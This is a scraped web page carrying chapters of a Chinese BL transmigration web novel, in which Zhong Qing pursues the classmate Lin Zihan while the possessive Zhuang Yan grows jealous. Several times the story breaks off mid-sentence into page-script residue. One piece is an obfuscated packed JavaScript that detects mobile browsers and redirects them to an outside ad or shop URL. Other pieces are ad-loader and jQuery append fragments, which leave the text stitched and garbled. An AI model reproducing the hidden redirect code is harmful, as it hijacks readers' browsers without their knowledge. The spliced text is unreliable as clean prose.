$(''.inform'').remove(); $(''#content'').append('' 身边,女友身边,他自己家。 庄严说到做到,不再对他的恋爱发表任何意见。 钟情最开始还有些担心,出去约会的时候总要遮掩一番。这时候的庄严就算发现他在撒谎也不会拆穿,只是沉默着看着他出门。 反复几次后,钟情确定庄严是真的不会插手,便开始放飞自我。 在大家长前过了明路的好处就是,他不必再偷偷摸摸进行地下恋情。 他可以在庄严面前正大光明打电话约女孩子出门,可以开庄严车库里任何一辆车带她们出去兜风,还可以请她们到家里,在与庄严一墙之隔的房间里尽情打游戏。 不过渐渐的,钟情打游戏的次数开始减少。 考试周快到了。 他倒没有很在乎成绩,但不能影响人家女孩子们,所以主动减少邀请的次数。正好庄严在意这个,钟情便顺着他的心意,这几天一直都和他一起泡在图书馆里。 太久没和女朋友亲密接触,皮肤上泛起微微的疼痛,带着如跗骨之俎的烦躁感。 这种程度的疼痛钟情还能忍受,没去管它,全当给自己提神,不过面上表情又恢复成之前那般倦怠懒散的模样。 尤其是图书馆停电三天,校方决定腾出食堂作为临时自习室后,他心情更加糟糕。 食堂刚清洁过,湿漉漉的地板折射着灯光,亮得晃眼睛。 钟情一边抱着书找座位,一边懒洋洋地抱怨:“庄严,好歹是你的母校,就不能捐点钱支持一下母校的基础设施吗?图书馆停电就不说了,你看食堂这灯,跟进了手术室一样。” 庄严无法理解食堂和手术室之间有什么可以类比的联系,但对于钟情这种神奇脑回路已经见怪不怪。 他简短地答道:“好。” 钟情难得来了点兴致,转过身,一边看着庄严,一边慢慢倒退:“这么爽快?” “嗯。”顿了下,又道,“好好走路,小心摔了。” 钟情正要说怎么可能,身后猛地传来一阵冲击力,他一个踉跄,扑进庄严怀里。人倒是没摔着,书撒了一地。 撞人的同学连声道歉,钟情有些不好意思,忙说是自己没好好看路。 他蹲下身捡那一地的课本,捡到一半时视线中突然闯入一只白皙颀长的手。 那不是庄严的手。 庄严的手像常年搭弓挽箭的猎户,一双大手骨节凸起,青筋根根分明。而这双手却像是常年莳花弄草,手指细长俊秀,姿态灵活优雅。 手的主人捡起书递给钟情,不置一词便径直离开。 钟情看着他高挑的背影,心中问道:【他就是林姿寒?】 【对。你怎么知道?林姿寒提前交换过来了,我正要提醒你呢。】 钟情露出一丝微笑。 他十分确定刚才他并没有碰到林姿寒,仅仅只是在较近的距离一块站着,他身上的疼痛瞬间全消。 他从来没见过哪个人身边有林姿寒那样多的粒子。靠近他时,都不需要钟情主动吸附,那些粒子就自发钻进模型缝隙中。甚至因为粒子质量太优越,即使林姿寒已经离开老远,那些粒子依然好端端待在他身上,以极慢的速度消散着。 原来高嵌合度是这么一种舒服的感觉。 钟情觉得自己就像在雪夜里得到壁炉,在烈日下跳进泳池,在极饿时被人施舍一顿饱餐。前面十年像是都白过了,只有当下才有清晰的色彩。 还犹豫什么? 林姿寒简直就是他的天选深情对象! 长时间的驻足引起庄严的注意,他伸手拉了一下钟情的胳膊。 钟情还是没动。 庄严正要开口提醒,却看见钟情眼睛里亮得惊人的光芒。 他隐隐觉得这个画面有些熟悉,心中不安,几乎就想强行将钟情带走。 在他动作之前,钟情已经先一步开口,声音里有按捺不住的雀跃和兴奋。 “庄严,我找到真爱了!” 庄严如坠冰窖。 42.第十二章 庄严几乎能听见自己转头时僵硬关节发出的咯吱声。 身侧站着熟悉的人,说出的话却陌生得像是从很遥远的地方传来,庄严费力地理解他话中的含义。 头上白炽灯亮得人头晕目眩,时间和空间都被拉长,感官也像是被麻痹了一般暂时与意识一分为二。他像是进了一间手术室,有人正拿着尖刀给他开膛破肚。他的心脏被人割了一个小口子,有点疼,还漏风。 原来食堂还真很像手术室,他想。 巨大的震惊和恐慌让庄严怔住,仅仅这片刻失魂,钟情已从他身边跑开,追上前去。 他很自来熟地向林姿寒进行自我介绍,又询问对方的专业,还大言不惭让对方有事就来找他。 越说越兴奋,还伸手想要帮对方拿书。 但他没能拿到书。 他的手先一步被庄严攥住,钟情下意识想甩开,手腕上传来的力道瞬间加重,疼得他回头皱眉道:“庄严!” 庄严一言不发,拉着他的手走出人群,一路将他塞进车里。 再一次被这样强硬地带走,钟情没有生气,他还沉浸在被粒子填满的愉悦当中。 他现在才知道粒子和粒子之间也是不一样的。 普通男性的粒子僵硬刻板,就像水里的砂砾,看着就让人厌烦,喝到嘴里更是硌牙。女孩子们的粒子温柔可爱,但终究与他的角色模型差别太大,填上缝隙后只能堪堪止疼而已。 而林姿寒,这个位面的另一位主角,从他身上逸散的粒子仿佛来自位面本源,与钟情这具身体无比贴合,仅仅是站在他身边,就能让钟情感受到一种瓷实的幸福。 钟情沉浸在这种如梦似幻飘飘欲仙的幸福中,完全忽视了庄严的异样。 即使在暴怒之下,庄严车依然开得很稳。 到了公寓,他一路拉着钟情进门,将门摔得震天响。 钟情直到现在才清醒过来,发现自己身处何方,有些意外:“怎么带我回来了?今天不自习吗?还是说你要放我一天假?” 庄严抱着最后一丝连他自己都觉得不可能的期望,问:“你刚刚说的真爱……是真的吗?” “你说姿寒?当然是真的了!我表现得不明显吗?要不是你拦着,我已经要到他的联系方式了。” “你叫他什么?” “姿——寒——”钟情一字一顿拖长声音重复道,“要我写给你看吗?” “你认识他?” “今天以前不认识。不过我看见他课本上的名字了,我还知道他读建筑系,和我们同一年级。” 庄严头痛欲裂。 钟情从来不会对某个人观察得这么仔细。山区水库旁第一次说出真爱两个字的那天,他甚至叫不出那个同班女生的名字。 庄严的声音因为不可置信而发颤。 “钟情……他是男的。” 钟情理所当然道:“男的怎么了?真爱跟性别又没有关系。”他上下看了庄严一眼,“咱们新时代青年,可不兴歧视同性恋啊!” 他的话简直就像刀子一样在剜庄严的心。 "我歧视同性恋?" 庄严几乎是从喉咙里挤出来,“我真不该对你心软的。” 钟情警惕:“你不会又要拦着我当滥、咳咳,情圣吧?哎呀你放心,我这次是认真的,我就认定他了。” 庄严冷笑:“是吗?你对他搭讪的时候,你女朋友就在后面。” “哦,这个啊。”钟情打开手机点开校园贴吧,朝庄严面前一亮,“在车上的时候我就已经昭告全校,我分手了,现在是黄金单身汉。” 他严肃地重复:“庄严,这次我是认真的。” 一直到钟情回房休息,庄严仍站在原地。 他心中掀起惊涛骇浪,面上却呈现出一种扭曲的平静。 他麻木地想,这不可能。 这不可能,钟情嘴里“真爱”两字一直都是张口就来,没有人会成为他的例外。 庄严用力回想那个“林姿寒”的脸,当时他全部的注意力都在钟情身上,只记得大概是一张很柔美的脸。 柔美,对。 钟情几乎每个女朋友都是这一类的长相。 或许是因为猎奇,或许是因为被那张脸迷惑。庄严在心中不断对自己道,这次一定也和之前一样,不过是三分钟热度的真爱罢了。 可是无论怎么自我开解,还是有阴暗无比的念头涌上心头—— 女人,男人……为什么钟情可以爱上任何人,唯独不会爱上他呢? 他慢慢踱到卫生间,镜子里映出一张即使努力放缓表情、依然凌厉逼人锋芒毕露的脸,就像闯进人类社会的野兽,与这个彬彬有礼的上流截然不同。 他久久地看着那张与林姿寒风格迥异的脸,直到夜幕降临。 他突然一拳砸向镜面,玻璃破碎,骨节血迹斑斑。他没去管手上的伤口,朝碎镜上泼了了一杯水。 水痕渐渐带走血迹,镜面恢复光洁。 庄严拨通电话,声音阴寒无比,“去查一个人。我要他从出生到现在的所有资料。” * 第二天清早,庄严像往常一样催钟情起床时,看见他已经洗漱完毕,正站在洗手间镜子前整理领口。 从镜子里看见庄严,钟情抱怨了一句:“这镜子昨天还好好的,怎么今天就碎了?” 他回过身去,张开双臂,“庄严快看,我今天的穿搭风格怎么样?” 庄严静静看着他。那明显是精心挑选过的搭配,和从前在衣柜里随手一抓的感觉完全不同。 他压抑着怒意,低声道:“早饭做好了,有你喜欢的桃子酱。” 钟情道了声谢,从桌上抓了片面包沾点果酱就要跑开。 庄严一把按住他,提醒道:“今天是下午的课。” “我知道。”钟情回头朝他莞尔一笑,“我去陪姿寒上课。” 钟情不让庄严跟着,亲自查了课表,找到建筑系上课的教室。 林姿寒不在教室,但课桌上摆了一个花纹奇特的陶瓷杯。钟情昨天便在林姿寒包上见到过,总觉得有几分眼熟,记忆便有些深刻。 他在那个位置旁边坐下,边等边打瞌睡。早上起得太早,兴奋的情绪过去后,精神便开始萎靡不振。 他闭目养神,陷入半梦半醒中,听到有人唤他名字,一时间还回不过神。 直到那人轻轻拍了下的肩膀。 就算是隔着衣服的触碰,也让钟情瞬间舒服得几乎想要叹息一声,连身下冷硬的板凳都变得像云朵一样柔软。 钟情瞬间疼痛全消,神清气爽,心旷神怡。 他睁开眼睛,神采奕奕地看向来人。 是林姿寒。 钟情坐的位置挡住了他的去路,离上课只有两分钟,只好把他叫醒。 钟情长腿一收,让他进来,等他坐定后,立即从桌洞里掏出一支玫瑰。 “谢谢你昨天帮我捡书,”钟情双眼微弯,“鲜花赠美人。” 林姿寒淡淡扫了一眼,礼貌地一抿唇:“抱歉,我不喜欢花。” “那你喜欢什么?” 林姿寒不答,抬眼看向老师走上讲台:“请安静,已经上课了。” 钟情在嘴边比划了一个拉拉链的手势,之后果然就不再说话。 但就算他一言不发,光是坐在那里就已经很有存在感。 林姿寒能感受到从身旁传来的善意的、好奇的凝视,还能感受到从四面八方传来的羡艳、嫉妒的打量。 钟情比他来时预想的还要出名。 昨天他刚回到宿舍就被舍友一番盘问,尽管再三表示不感兴趣,还是有无数关于钟情的消息进入他的脑海。 刚进学校就以断层的优势成为校草,虽说这所名牌高校明面上并不会攀比这些,但有的人根本就无需对比,只要旁人看到那张脸,就不得不拜服在那罕见的美貌之下。 冷淡的性格与无人知晓的行踪又为这份美貌增添了一分神秘的色彩,旁边还有恶犬护卫,令这样一个美人成了只可远观不可靠近的存在。 然而,就在所有人都以为这四年都将这样过去时,他突如其来地恋爱,又突如其来地分手,无缝衔接更换女友。 短短几个月时间,就从神圣的高岭之花变成薄情浪子,仗着那张漂亮脸蛋,不知让多少人心碎。那些他肆意妄为造成的伤口,又不知需要多长时间才能疗愈。 林姿寒厌恶这种对待感情随随便便的态度,更厌恶这种轻佻给他带来的麻烦。 很显然,那些嫉妒视线的主人无一不在想着该如何将他取而代之。 换了旁人,在这样的视线下能如坐针毡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260724|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。只有林姿寒,压抑下心中的烦躁,面上仍旧一片平静淡然,甚至在对上钟情的视线时,还能回以优雅理智的微笑。 下课铃声响起,林姿寒起身离开教室,钟情走在他身边,唠唠絮絮替他介绍路边每一栋建筑物。 走到稍稍僻静的小路上时,林姿寒停下脚步。 “我不喜欢同性,你不必白费力气。” 钟情一听便笑了——现在不喜欢同性,等见到庄严就会喜欢的啦。 他善解人意道:“没关系,我喜欢你就好了。” 他手里还拿着那朵玫瑰,花枝插在一个小小的许愿瓶里,是路过的女生主动送给他的。若说鲜花赠美人,那么这朵花现在找到了它最好的归宿。 林姿寒不再多说,走进一栋教学楼。 钟情跟了进去。 一楼聚集着不少学生,过道两旁都摆着展板,钟情扫了一眼,上面宣传的是某位建筑界大拿的讲座。 林姿寒已经去前面签到,落笔签名端端正正不疾不徐,签好后将笔盖好还给工作人员,一面朝身后的人道:“这里没有事先预约不能进去,别跟着我了。” 钟情原本还在问负责签到的小学妹能不能加他一个名额,听了这话就知道是自己为难人了。 他从善如流道:“好啊。那我在外面等你。” 林姿寒淡淡看他一眼:“那你就等着吧。” 讲座一共两小时,钟情随便找了个阴凉地和系统唠嗑。 临讲座结束前十分钟时,他起身回到大课室门外。这间教室正对的是楼栋后门,两扇门之间只有一个不算宽的过道,还被展板和签到处占满了。 钟情担心自己站在那里等人会妨碍门里的人进出,便在教学楼外的花坛边上坐着等。 秋老虎实在厉害,瓷砖都晒得发烫,钟情没能坐得住,起身去一旁的便利店买了两个甜筒。 甜筒拿在手里冰冰凉凉,驱散了心中的燥热。这回总算能安心坐下了。 已经有人开始陆陆续续走出来,钟情一边吃甜筒,一边耐心等着。等啊等,等到人都走光了,连签到台和展板都被人收走,林姿寒还是没出来。 钟情拿出手机看了眼时间,离讲座结束已经过去半小时。他自己的那个冰淇淋早就吃完,林姿寒那个已经化成水,浸湿蛋筒和包装纸,顺着手背留下来。 他有点担心:【林姿寒怎么还没出来?半小时就是拉肚子也该出来了吧?还是他已经走了?】 系统劝他别急:【我帮你查查。】 钟情一边等它结果,一边皱眉看自己手里的甜筒。他心中并没有被人放鸽子的不满,他从林姿寒那里得到的舒适感足够他忍耐林姿寒的一切。 他心想林姿寒走了也好,这样他就可以把这个甜筒也吃了。 手刚放在包装纸一角上,系统突然严肃道:【别吃,林姿寒在看你。】 钟情悚然一惊:【在哪儿?】 【二楼窗口。别抬头,他还在盯着你。】 钟情疑惑:【他是在测试我?】 系统道:【有可能。】 钟情遗憾:【好吧。】 有正主监视,这个深情人设是不想卖也得卖了。 这么坐着实在无聊,何况手里还举着一个化掉的冰激凌。最近的垃圾桶也在另一边小道上,钟情没敢走开,怕林姿寒误以为他不耐烦跑路。 冰激凌水流到手腕上,又凉又黏,还有些痒,钟情低头舔了一口。 烈日当空,空气中热浪滚滚,周围一个人都没有。花坛里刚浇过水,花朵和草尖都亮晶晶的,花坛边上的人被晒出一额头的汗,也亮晶晶的,像是他旁边那簇开得正绚烂的花朵成了精。 林姿寒将一切都看在眼里,不由想起昨日室友那句格外夸张的话—— “其实我没怎么见过他,因为根本不敢抬头去看他。我有时候都怀疑可能我们学校根本没有这号人,这世上怎么可能会有像梦一样的人呢?” 可是这个梦现在就真切地出现他面前。 林姿寒多希望这个梦其实不存在。 他又看了会儿,提步想要绕道离开,突然看见有人正顺着小道走过来。 他嘴角浮起一丝冷笑——恶犬还是忍不住来寻找他逃跑的珍宝。 他脚步一顿,改变主意,下楼朝钟情的方向走去。 43.第十三章 庄严走到钟情身边的时候,他还在狼狈地舔流到手腕上的冰激凌水。 伞在头顶上撑出一片阴影,钟情回头,笑着唤道:“庄严。” 他抬起黏糊糊湿淋淋的手腕给庄严看自己面临的窘境:“怎么办?” 庄严拿过融化的冰激凌,递给身后的陈特助:“拿去扔了。” “诶不行,那是我给姿寒买的。”钟情还想抢,见庄严面色不善,灰溜溜缩回手,“丢吧丢吧,反正也不能吃了。” 庄严看了眼正前方的教学楼。已经到了中午休息的时间,楼里一个人都没有。 他拉了钟情的手:“跟我回去。” 钟情不动:“我等姿寒呢。” 庄严气闷,不想在这个讨厌的名字上延伸话题,转而道:“你一直念叨的那个法国大厨已经到了,现在就在餐厅里等你。你不是一直想吃他做的法餐吗?” 钟情闻言双眼一亮,坚定的意志立刻就动摇了。 系统忙道:【稳住,菜精。林姿寒过来了。】 钟情只得遗憾拒绝:“下次吧,我要等姿寒。” 庄严忍了又忍,看着他脸上被晒出来的红晕,终于没忍住气道:“他已经走了,你看不出来吗?” 钟情一挥手:“姿寒不是那样的人,他既然说了让我等,那他就一定会来。” 庄严真不知道他是哪里来的这么多信任感,能这么轻易赐予一个才认识一天的人。 他拧眉正要说什么,钟情已经一脸惊喜地回头:“姿寒!” 林姿寒眼中划过一丝意外。 他此时距离钟情还有一段距离,按理说是听不见脚步声的。 “你怎么知道我来了?” 钟情歪头一笑。 他怎么会不知道?林姿寒一来,浓郁的粒子便也包裹上来,简直舒服得让人想伸个懒腰。 “因为我喜欢你啊。喜欢的人之间就是会有心电感应。” 钟情这句告白说得大大方方,因为知道林姿寒不会回应。今天他已经跟在他屁股后把这句话重复了无数遍,林姿寒只有最开始拒绝过,接下来都当做没听见。 没想到林姿寒居然露出一个有点打趣的微笑:“一个人的心电感应?” 钟情愣了一下,赶紧回道:“谁说只有两情相悦才是爱的?单相思也是爱呀。” “钟情。” 这回开口的是庄严,“厨师还在等你。” 钟情馋虫被勾出来了:【统子,我可以走了吧?要卖人设也不急于一时对吧?】 系统:【可以。以后记得补上。】 钟情心中一喜,嘴上没立即答应庄严,但脚已经朝庄严那边迈了一步。 饭点就这么告辞走人不太礼貌,他回头朝林姿寒发出一句敷衍的邀请:“要不姿寒也跟我们一起吃?” “好。” 钟情笑脸一僵:“啊?” 这人还真去? 那按照“深情男配总是在心上人面前展出最好一面”的工作理论,他岂不是不能毫无顾忌地用筷子吃牛排、给红酒兑雪碧了? “不欢迎?” “怎么会!”钟情立刻回神,啪啪鼓掌,“看都给我高兴懵了!” 钟情向路旁等候多时的世爵车走去。 左边是人高马大的庄严,右边是同样人高马大的林姿寒,他夹在中间,被两股截然不同的气势压制得快喘不过气来。 他觉得这气氛有些古怪,思来想去,在上车之前灵光一闪。 【统子!难道这就是你说的,主角攻受之间的强烈吸引力?】 不然如何解释庄严一来,晾了他半个小时的林姿寒也来了?又如何解释庄严一说要请吃饭,林姿寒就马上答应了? 讲座开始之前他说干唾沫也没见林姿寒答应! 【林姿寒肯定对庄严有意思。】钟情笃定道,感动得热泪盈眶,【统子,是我错怪你了。这个位面不愧是新手世界,实在太棒了,下次我还想要这种世界。】 系统傲娇:【我就说我是为了你好吧。不过晚了,下个位面我已经调剂好了,你只能当个瘸子。】 钟情越想越兴奋。 林姿寒才见庄严一面就松口答应去吃饭,照这个速度,再多见几面不就能直接走入婚姻殿堂?那支柱融合剧情结束位面传送,岂不是指日可待! 钟情坚定立誓:【统子,从现在开始,我要利用一切机会撮合他们在一起。】 系统刚被他捧得心花怒放,这时也毫不吝啬给他打气:【加油,我的全部身家就靠你了。】 压抑下内心的喜悦,看见陈特助拉开的副驾驶车门,钟情一个箭步钻进去。 他端端正正坐着,对身后两个落后他一步的男人道:“这个位置被我预订了。庄严你就和姿寒挤挤吧。” 庄严沉着脸,手抵住车门不让他关:“应该让客人坐副驾驶位。” 钟情心中诧异。 按理说,主人驾车时,前排尊于后排,但专职司机驾车时,后排尊于前排。庄严这话的意思是把陈特助也当成主人一方了? 虽然很感动庄严居然有这么平等的观念,但钟情还是痛心疾首于他的榆木脑袋。都这个时候了还管什么礼仪不礼仪尊位不尊位? 他拉着车门和这根木头较劲:“庄严,你就帮我照顾一下姿寒吧。我跟陈特助好久没见了,我想跟他一起坐前排好好亲热亲热呢。” 陈特助:“……” 陈特助握着方向盘手都是抖的。 庄严到底没拗过钟情,忍气吞声上了车。 汽车起步,钟情想起自己黏糊糊的手,一翻遮阳板,发现是空的,便朝后伸手。 “庄严,后面还有纸巾没?给我一张。” 庄严拉开扶手箱,随后一顿,又反手关上。 “没有。” “啊?那我怎么办?你这车可是真皮的,万一我不小心蹭上去了……要不你衣服借我擦擦?” 庄严没说话,拉住他的手,低头舔去那滴摇摇欲坠的冰淇淋。它融化太久,已经微微沾上钟情肌肤的暖意。 钟情见鬼了似的抽回手:“……至于这样吗?你今天穿的衣服是有多金贵?” “谁让你那么傻。就算要等人,不知道找一个阴凉的地方等吗?” “那就要问你了,富有的庄先生。入学三载,怎么就没想起来支持一下母校的绿化建设呢?你看看那周围一览无余的绿化带,我但凡去旁边躲太阳,姿寒出来就找不到我。” “钟情。” 庄严语气骤然变得低沉,“你以为我找到你,是因为你站在太阳下吗?” 钟情察觉到不对劲,正要深究,林姿寒插进来道:“怪我不好,讲座结束后和专家多聊了几句,耽误了时间。没晒伤吧?” 深情男配的优秀素养让钟情精准地抓住这句话的重点。 他先是浑不在意地回道:“怎么会,也没等多久。”然后开始两眼放光狂拍马屁,“哇,姿寒,你好厉害。那位蒋大师我知道,在国际上都享有盛誉,你能跟他聊半小时……” 钟情竖起大拇指,“了不起。” 接下来一路上都是钟情在问林姿寒有关建筑方面的问题。林姿寒话依然不多,但比起之前理也不理的状态,简直是天壤之别。 钟情表面上跟林姿寒聊得起劲,其实多数时候都是在做毫无意义的夸赞奉承。“真的吗”、“为什么呢”、“你好厉害呀”三句话来回翻译,足以掩盖他对建筑学一窍不通的事实——他根本不认识什么蒋大师,知道他是海归建筑师还是从展板上看的。 他正一心二用地跟系统探讨:【看看,到了庄严面前,连林姿寒这样的冰山美人都变得口若悬河了。】 到了餐厅,钟情先让熟识的侍者撤走桌上的筷子和雪碧。 然后贴心地帮林姿寒拉开椅子,拿来菜单放到他面前,还亲自动手给他倒了一杯红酒。 用餐期间话题在建筑学和法餐之间来回游荡。 庄严一言不发,林姿寒话少,钟情就是再怎么舌灿莲花,吃到一半也觉得词穷。好在餐厅中央舞台上的钢琴师收了一笔不菲的小费,突然开始炫技,激昂的音乐声中,即使都不说话也不会显得沉默。 一曲终了,响起一片掌声。 钟情也鼓了两下掌,随即想到这是个不错的话题。 “姿寒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的手指这么长,会弹钢琴吗?” “会。” “那你能不能为我弹一支曲子?你出现在镁光灯下的样子一定特别漂亮。” 林姿寒放下刀叉:“刚刚的问题,再问一遍。” 钟情迷惑:“姿寒能不能为我弹一支曲子?” “再上一个。” 钟情想了下:“……姿寒会弹钢琴吗?” “不会。” 钟情:“……” 他微微苦笑,但即使这样皱起脸的表情由他做出来,依然还是好看得独一份。 “姿寒真的好难追啊。”嘴上这么说,眼中却依然笑意盈盈,显然一点没觉得为难。 林姿寒抬眼看向钟情,余光扫见他身旁那位庄少爷,手中刀叉攥得太过用力,手背青筋暴起,不像在切割食物,倒像是在切割仇人的尸体。 他心中泛起一丝微妙的恶意,平静道:“那就别追了。我不喜欢你这种类型。” 钟情心中暗笑:好家伙,庄严在旁边都不说不喜欢同性了呢。 “那你喜欢什么类型?”问出口的时候已经预想到对方的答案肯定跟庄严有关,“我可以变成你喜欢的那种。”哼,他才不要变成庄严那种无趣的人。 林姿寒的回答出乎意料:“我不喜欢玩游戏的人。” 钟情瞪大眼睛:“啊?” “做不到?” “……怎么会?”钟情忍痛闭眼道,“我今晚回家就把游戏机全扔了!” “我不喜欢滥交的人。” 游戏机都扔了,他还滥什么交呢?钟情这回反应很快,手机里前游戏搭子们联系方式一键清空。反正都是同学,万一有什么事需要他帮忙,可以直接在学校里找他。 “从今以后我只有你。” “我不喜欢绩点不高的人。” “下午开始我就和你一起去晚自习。” “我不喜欢不爱运动还喜欢零食的人。” “戒了戒了。晚上一起跑步?” 林姿寒微顿,又道:“我也不喜欢吃法餐。” “我再也不吃了。”钟情朝林姿寒伸出手,“我们现在就可以走。” 林姿寒不再说话,他静静看着钟情,嘴角似乎微微翘起,但细看时又一无所有。 人人都告诉他钟情懒散,可他现在眼前的钟情却这样活跃,就像草原上奔驰如风的骏马,却又没有骏马的爆裂脾气和铁蹄,乖顺得就像家猫一样。 他就这么喜欢他吗?为什么人人都难以求得的东西,竟然能这么轻而易举就摆在他的面前呢? 林姿寒不相信这天底下有这么好的事。 但那张脸实在太作弊,即使他坚信钟情的话只是一个又一个谎言,还是在某几个瞬间完全沉浸下去。 这一餐已经到了尾声,侍者送上餐后甜品,是一客冰激凌。 林姿寒看着那一团蛋形的奶油,突然对钟情道:“没吃到你亲自为我买的冰激凌,真是遗憾。” 钟情赶紧把自己那份一整个囫囵咽下去,然后起身:“你想吃?我再去给你买。” 庄严拉住他的手:“钟情!” 他脸色铁青,说了自开宴后的第一句话:“外面很热。” “可是姿寒想吃。” 庄严感到一口气堵在胸口:“让陈特助去买。”稍顿后夹枪带棒地刺道,“你刚跟他这么亲热,他会愿意帮你这个忙的。” 一句话说得阴阳怪气,钟情听出来了,但不知道他是在阴阳谁。 他简直想给这根木头一榔头,林姿寒摆明了是在支开电灯泡好跟他单独相处,他倒好,又在这里关心陈特助。 他笑着拂开庄严的手,但那笑明显是在皮笑肉不笑。只有庄严能看懂他的威胁——再不放手,他就要咬他了。 庄严心中像被针扎了似的一缩。 他手中一松,钟情很快就一溜烟跑掉。 他静静看着钟情背影消失,回过头与林姿寒直视。 林姿寒一直在欣赏他俩的交锋,被正主抓了现行,也丝毫没有遮掩眼中的兴味。 “他不是你可以随意捉弄的人。”庄严寒声道,“你想要什么?” 44.第十四章 林姿寒眼角堆砌起轻薄的笑意:“我还以为这时候会有一张支票甩在我脸上。” 庄严眸中情绪不明:“你要多少?” “开个玩笑而已,庄少恶名在外,我还是很惜命的。我哪里敢高攀钟小少爷?您难道看不出吗,我是在让他知难而退。” 林姿寒抿了口红酒,“庄少应该感谢我才对。” 庄严语气骤然变得冷冽:“他不需要困难。” 林姿寒放下酒杯的手一顿,垂眸遮住眼中一闪而过的轻蔑。 庄严继续道:“你应该知道建筑学并不是这所大学的王牌专业。我可以为你提供国外顶尖建筑院校的入学机会,航班在今天晚上。” 这个条件对林姿寒来说已经十足优越。 陈特助动作很快,一天时间就已经挖出林姿寒的身世。来自西北草原的牧民后代,母亲不详,自幼由父亲养大。高中时父亲病逝,若不是有人资助,他无法走出草原,更不可能去国外留学。 林姿寒嘴角轻扬,眼中却全无笑意。 他轻摇酒杯,姿态优雅闲适,和这间高级餐厅里衣冠楚楚的任何人都没有差别。 庄严心中浮起一丝异样,这感知毫无缘由,只来自于他那野兽般的直觉——林姿寒甚至比他还要像一个出身上流社会的人。 能做到这种程度,若不是像钟情一样从小耳濡目染,那便是像他一样故意练习过。 林姿寒放下酒杯,酒杯撞上玻璃桌发出轻响。 “庄少果然神通广大。“ 他几乎没有掩饰眼中的挑衅,”还是不劳您费心了,我比较喜欢……自食其力。” 庄严眼神一凝,正要再说什么,身后传来轻快的脚步声。 他收回已到嘴边的威胁,朝后看去:“钟情。” 钟情第一眼看向的却是林姿寒。 他把冰激淋递过去:“快,马上就要化了!我已经用最快的速度跑回来,可外面太热了。” 一旁的庄严被他忽视了个彻底,手里勺子柄都快被他捏弯。胃里的红酒像是突然被发酵成蛇毒,把五脏六腑腐蚀得千疮百孔。 他看着面前温情脉脉注视着对方的两人,再一次感受到那种异样——仿佛他俩才是来自那个文明世界,而他不过是误闯的豺狼。 他心中又嫉妒又挖苦地想:还真是一对璧人。 林姿寒接过冰激淋,笑着轻声道谢,然后慢条斯理地撕开包装,小口小口吃起来。 钟情坐在他对面,双手托着下巴,笑盈盈看着他,丝毫没有不耐烦。 他回来的时候故意在立柱旁躲了一会儿,看到这俩人友好交谈,一个温柔礼貌,一个严肃沉稳,简直是一对璧人! 他都舍不得过来打扰他们。 林姿寒吃完,用餐巾细致地擦干净嘴角。 “我下午还有课,就先告辞了。多谢款待……”他微微一顿,略有深意道,“富有的庄先生。” 钟情:【好配!!】 系统:【好配!!!】 林姿寒告辞离开。 送走他后,钟情可怜巴巴看了眼庄严,后者强忍怒意,让侍者送来雪碧,兑了一小杯红酒。 钟情开心朝他敬酒。 他们都没察觉到已经离开的人正悄悄站在餐厅落地窗外的角落。 那人隐在一角阴影中,看着默契到能用眼神交流的两人,心中讥讽冷笑—— 好一对璧人呢。 * 钟情变了。 这变化只有庄严感受最深。 追求林姿寒的两个月里,他真的不再玩游戏,也不再和女孩子约会。 他对林姿寒简直是言听计从,林姿寒去哪里他就去哪里,林姿寒吃什么他就吃什么。校园贴吧里他的传说经历着第二次剧变,高岭之花变成风流浪子,风流浪子再变成浪子回头。 庄严曾经用了十年都没做到的事,林姿寒一天就做到了。 如果仅仅是这样,庄严还可以骗自己说是因为得不到手才这么坚持,不至于嫉妒到想把钟情关起来的地步。 但…… “庄严,我们今天去马场,你去不去?”钟情在书房门外探头。 庄严微微闭眼。 又是这样。 和林姿寒去任何地方都想要把他也捎上,每天都在他耳边叽叽喳喳林姿寒的优点。 钟情以前从不会这样,每一次外出和女朋友约会都偷偷摸摸,生怕叫他发现。即使他承诺不再阻拦他的恋爱,他也不会主动在他面前提起她们。 现在的钟情,就像那些努力想要让家长接受自己黄毛男朋友的傻白甜。 一个可怖的念头已经在庄严心中盘踞很久——钟情没有说谎。 他这次是认真的。 庄严不愿出门,钟情不能强求,只能在心中感叹木头不愧是木头。 已经是暮秋的季节,马场上不再酷热难耐,赛马会又可以开始举行。 大概是觉得新奇,林姿寒之前总是约不出来,这次倒是一口答应了。 露天马场上天高云淡。赛场一侧是标有号码的闸门,可以看见赛马在门内兴奋地喷气嘶鸣,它们身边是穿着色彩缤纷的比赛服、头戴各式马术帽的骑师。周围一圈阶梯看台上坐满观众,安静地等着比赛开始。 钟声响起,闸门咚一声打开。 骏马狂奔而出,原本安静的观众席渐渐开始有人呐喊,赛程表和马票扇得哗哗作响,间或夹杂几声欢呼或是遗憾的感叹。 钟情躺在包厢落地窗前的摇椅上。 大局已定,他放下望远镜,转头问圆桌旁端正坐着的林姿寒:“下一场也不下注吗?” 林姿寒淡淡道:“我只做稳赢的买卖。你帮我开后门吗?” “我们童叟无欺的哦。”钟情竖起一根手指晃了一下,“这里可不靠这个赚钱,只不过是讨个小彩头罢了。” 林姿寒放眼望去。 确实如此,赔率板上的数字都不高。无论输赢,观众都怡然自得,没有人因为比赛结果失态。冠军带上胜利的花环绕场奔跑时,所有人都在礼貌地为她鼓掌。 林姿寒收回视线,看向钟情。钟情注视着冠军骑师的目光极其温柔。 他突然问:“这是钟夫人定下的规矩吗?” “她喜欢别人叫她洛绒女士。”钟情含笑道,“是啊,这里一切都和以前一样。我只做了一个很小的改动。” “女性学费减半?” 钟情有些意外:“你怎么知道?” 林姿寒笑笑,没有说话。 钟情没有追问,继续道:“真的是很小的改动。国内学马术的人不多,来这里的人又大多是我爸妈的好友,她们同情我,不仅不会减半交费,还会多给一大笔小费,特别是在我小的时候。” 林姿寒心中无声冷笑。 